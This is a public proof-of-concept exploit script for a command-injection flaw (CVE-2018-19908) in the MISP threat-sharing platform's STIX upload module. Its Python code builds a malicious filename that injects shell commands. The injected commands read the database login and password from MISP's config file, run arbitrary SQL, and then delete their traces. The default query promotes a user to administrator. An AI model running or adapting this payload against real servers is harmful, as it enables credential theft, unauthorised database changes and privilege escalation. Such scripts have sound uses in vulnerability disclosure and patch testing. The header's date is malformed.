MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module

#-*-coding:utf-8-*-
#
# Exploit Title: SQL command execution via command injection in STIX module
# Date: 2019-17-02
# Exploit Author: Tm9jdGlz
# Vendor Homepage: https://www.misp-project.org/
# Software link: https://www.misp-project.org/download/
# Version: 2.4.90 - 2.4.99
# Tested on: 2.4.97
# CVE: CVE-2018-19908
# 
# Use this payload as stix filename

def encode_data(data):
    from base64 import b64encode
    from urllib.parse import quote_plus

    b64Data = b64encode(data.encode("utf-8"))
    urlEncode = quote_plus(b64Data)

    return urlEncode


def generate_payload(SQLRequest):
    payload = 'MISPPath="../../";'\
            'MISPPDB="$MISPPath/app/Config/database.php";'\
            'MySQLUUser=$(grep -o -P "(?<=\'login\' => \').*(?=\')" $MISPPDB);'\
            'MySQLRUser=${{MySQLRUser:-$MySQLUUser}};'\
            'MySQLUPass=$(grep -o -P "(?<=\'password\' => \').*(?=\')" $MISPPDB);'\
            'MySQLRPass=${{MySQLRPass:-$MySQLUPass}};'\
            'MISPDB=$(grep -o -P "(?<=\'database\' => \').*(?=\')" $MISPPDB);'\
            'mysql -u $MySQLRUser -p$MySQLRPass $MISPDB -e "{}"'
    return payload.format(SQLRequest)

def generate_exploit(SQLRequest, **kwargs):
    options = {
            "inputFile" : kwargs.get("input_file", "data"),
            "outputFile" : kwargs.get("output_file", "data2"),
            "payload" : encode_data(generate_payload(SQLRequest))
    }

    exploit = "; echo '{payload}'>{inputFile};"\
            "python3 -c 'import urllib.parse;"\
            'fd=open(\\"{outputFile}\\",\\"w\\");'\
            'fd.write(urllib.parse.unquote_plus(open(\\"{inputFile}\\").read()));'\
            "fd.close()';"\
            "base64 -d {outputFile}>{inputFile};"\
            "sh {inputFile};"\
            "rm {inputFile} {outputFile} #".format(**options)
    return exploit

def main():
    SQLRequest = "UPDATE users SET role_id=1 WHERE id = 2"
    print(generate_exploit(SQLRequest))

if __name__ == "__main__":
    main()